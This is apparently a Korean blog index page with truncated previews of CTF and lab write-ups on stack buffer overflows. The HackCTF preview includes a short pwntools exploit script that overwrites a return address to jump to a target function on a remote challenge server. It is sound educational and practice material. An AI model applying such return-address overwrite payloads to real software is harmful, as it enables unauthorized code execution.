BOF 5

[HackCTF : Pwnable] x64 Buffer Overflow 풀이 (64bit, BOF)

문제 풀이 환경 : ubuntu 16.04 사용 툴 : IDA 7.5 pro Analysis 대놓고 scanf에서 BOF가 터진다. How to exploit payload = dummy + SFP + RET RET를 callMeMaybe 함수로 덮는다! Let's exploit from pwn import * #p = process('64bof_basic') p = remote('ctf.j0n9hyun.xyz', 3004) e = ELF('./64bof_basic') callMeMaybe = 0x400606 payload = '' payload += 'A' * 272 payload += 'BBBBBBBB' # SFP payload += p64(callMeMaybe) # RET p.sendline(pay..

WAR GAME/HackCTF 2021.03.05

[Buffer Overflow] Return Address Overwrite 실습 - (1-2)

참고 : dreamhack.io 환경 : ubuntu 16.04.7 jiravvit.tistory.com/entry/Buffer-Overflow-Return-Address-Overwrite-%EC%8B%A4%EC%8A%B5-1 [Buffer Overflow] Return Address Overwrite 실습 - (1) 참고 : dreamhack.io 환경 : ubuntu 16.04.7 Buffer Overflow란 프로그래머가 할당한 크기의 버퍼보다 더 큰 데이터를 입력받아 메모리의 다른 영역을 오염시키는 것이다. 이를 악용한다면 어딘가에 기계어 �� jiravvit.tistory.com 저번 시간에 이어서 실습을 해보도록 하겠당 저번 시간에 SFP랑 RET의 위치를 찾았다. 하지만 버퍼 오버플로우가 발..

[Buffer Overflow] Return Address Overwrite 실습 - (1)

참고 : dreamhack.io 환경 : ubuntu 16.04.7 Buffer Overflow란 프로그래머가 할당한 크기의 버퍼보다 더 큰 데이터를 입력받아 메모리의 다른 영역을 오염시키는 것이다. 이를 악용한다면 어딘가에 기계어 코드를 삽입한 후 Return Address의 함수 포인터를 공격자의 코드의 주소로 덮어 코드를 실행하는 것을 생각해볼 수 있다. 이 포스팅에서는 이것을 실습해보도록 하겠다. 버퍼 오버플로우를 실습할 example.c 이다. main 함수에서 프로그램의 argv[1]을 vuln 함수의 인자로 전달하는 것을 확인할 수 있다. vuln 함수에서는 함수의 인자인 src 버퍼를 buf 버퍼에 strcpy 함수를 이용해 복사한다. 여기서 버퍼 오버플로우 취약점이 발견된다. strcpy..